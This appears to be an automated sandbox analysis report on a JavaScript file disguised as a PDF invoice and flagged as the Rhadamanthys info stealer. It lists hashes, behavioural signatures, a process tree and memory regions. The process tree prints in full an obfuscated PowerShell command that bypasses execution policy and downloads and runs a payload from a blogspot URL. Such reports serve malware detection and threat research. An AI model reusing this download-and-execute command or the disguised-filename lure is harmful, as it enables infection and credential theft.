Analysis

  • max time kernel
    94s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-11-2024 07:49

General

  • Target

    lnvoice-1712456537.pdf                        .js

  • Size

    80KB

  • MD5

    5eed57a36b459c29a10dbc8458493a26

  • SHA1

    4be4299dc346dc3499adb4b01edd09b339d858a4

  • SHA256

    cd4caace5e85b095654b499c34414a1d839ff30bf910993c3ebcdc1fbd9ff2bf

  • SHA512

    59192b7d17198bf257fe8de35ce9523f61a7eb8495647a784f6b386dfbf60642c5109bc37bccb580e71047d556a5ebf86e7943efe57d9f06c4435e57846732d2

  • SSDEEP

    768:rZQ0foU+Ui73GNNUZZQSYsVxU4Ua4UYdIMfVkArv6rAHcVxEBxVNoYdDBHBqabPg:oC1l2unjA06

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Rhadamanthys family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 12 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2568
      • C:\Windows\SysWOW64\openwith.exe
        "C:\Windows\system32\openwith.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2688
      • C:\Windows\SysWOW64\openwith.exe
        "C:\Windows\system32\openwith.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:3292
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\Users\Admin\AppData\Local\Temp\lnvoice-1712456537.pdf                        .js
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:916
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;& ('{1}{0}' -f 'ex', 'I') $(irm https://11-14hotelmain.blogspot.com///////chutmarao.pdf);Start-Sleep -Seconds 3;
        2⤵
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4368
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:2308
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4588
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2376
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
            dw20.exe -x -s 912
            4⤵
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious use of AdjustPrivilegeToken
            PID:3044
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1356
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
            dw20.exe -x -s 908
            4⤵
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious use of AdjustPrivilegeToken
            PID:2984
        • C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
          "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2016
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
            dw20.exe -x -s 780
            4⤵
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious use of AdjustPrivilegeToken
            PID:1144
        • C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
          "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4736
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
            dw20.exe -x -s 696
            4⤵
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious use of AdjustPrivilegeToken
            PID:4808

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log

      Filesize

      315B

      MD5

      69acc92e6df5c35cf75eded8f61ddeaa

      SHA1

      b405090a2f92f85490705dcf77a6461ad85e7e20

      SHA256

      da3437f337aca0e1f8d7b187abcd9112d88beddde8ab8ae5aa8a8ab91b6e9698

      SHA512

      9b83a6ef14372d9e229beb69c1b1ede6f348fb51925205f99f705808db6331c5aab32bd57fc786c61647cbb94f7e4bd236dc9f4fc26be4c1ffc7a35e7619a508

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qefvxcq0.n3v.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2308-24-0x0000000000400000-0x00000000004B8000-memory.dmp

      Filesize

      736KB

    • memory/2308-30-0x0000000000B00000-0x0000000000BB8000-memory.dmp

      Filesize

      736KB

    • memory/2308-78-0x0000000076D50000-0x0000000076F65000-memory.dmp

      Filesize

      2.1MB

    • memory/2308-76-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2308-62-0x0000000006380000-0x0000000006390000-memory.dmp

      Filesize

      64KB

    • memory/2308-67-0x00000000078B0000-0x0000000007CB0000-memory.dmp

      Filesize

      4.0MB

    • memory/2688-73-0x0000000076D50000-0x0000000076F65000-memory.dmp

      Filesize

      2.1MB

    • memory/2688-68-0x00000000027B0000-0x0000000002BB0000-memory.dmp

      Filesize

      4.0MB

    • memory/2688-64-0x0000000000910000-0x0000000000919000-memory.dmp

      Filesize

      36KB

    • memory/2688-71-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp

      Filesize

      2.0MB

    • memory/3292-82-0x0000000002160000-0x0000000002560000-memory.dmp

      Filesize

      4.0MB

    • memory/3292-85-0x0000000076D50000-0x0000000076F65000-memory.dmp

      Filesize

      2.1MB

    • memory/3292-83-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp

      Filesize

      2.0MB

    • memory/4368-18-0x00007FFF703D0000-0x00007FFF70E91000-memory.dmp

      Filesize

      10.8MB

    • memory/4368-19-0x000002266BDC0000-0x000002266BFDC000-memory.dmp

      Filesize

      2.1MB

    • memory/4368-23-0x000002266C310000-0x000002266C32A000-memory.dmp

      Filesize

      104KB

    • memory/4368-0-0x00007FFF703D3000-0x00007FFF703D5000-memory.dmp

      Filesize

      8KB

    • memory/4368-22-0x000002266C2E0000-0x000002266C2F2000-memory.dmp

      Filesize

      72KB

    • memory/4368-20-0x00007FFF703D0000-0x00007FFF70E91000-memory.dmp

      Filesize

      10.8MB

    • memory/4368-7-0x000002266C110000-0x000002266C132000-memory.dmp

      Filesize

      136KB

    • memory/4368-12-0x00007FFF703D0000-0x00007FFF70E91000-memory.dmp

      Filesize

      10.8MB

    • memory/4368-86-0x00007FFF703D0000-0x00007FFF70E91000-memory.dmp

      Filesize

      10.8MB

    • memory/4368-11-0x00007FFF703D0000-0x00007FFF70E91000-memory.dmp

      Filesize

      10.8MB

    • memory/4368-17-0x00007FFF703D0000-0x00007FFF70E91000-memory.dmp

      Filesize

      10.8MB

    • memory/4368-16-0x00007FFF703D3000-0x00007FFF703D5000-memory.dmp

      Filesize

      8KB

    • memory/4368-14-0x00007FFF703D0000-0x00007FFF70E91000-memory.dmp

      Filesize

      10.8MB

    • memory/4368-13-0x000002266C710000-0x000002266C8D2000-memory.dmp

      Filesize

      1.8MB

    • memory/4588-57-0x0000000007C60000-0x0000000008060000-memory.dmp

      Filesize

      4.0MB

    • memory/4588-55-0x0000000007B30000-0x0000000007B38000-memory.dmp

      Filesize

      32KB

    • memory/4588-59-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp

      Filesize

      2.0MB

    • memory/4588-61-0x0000000076D50000-0x0000000076F65000-memory.dmp

      Filesize

      2.1MB

    • memory/4588-58-0x0000000007C60000-0x0000000008060000-memory.dmp

      Filesize

      4.0MB

    • memory/4588-56-0x0000000007C50000-0x0000000007C60000-memory.dmp

      Filesize

      64KB

    • memory/4588-36-0x0000000007A30000-0x0000000007AD6000-memory.dmp

      Filesize

      664KB

    • memory/4588-31-0x0000000006740000-0x00000000067D2000-memory.dmp

      Filesize

      584KB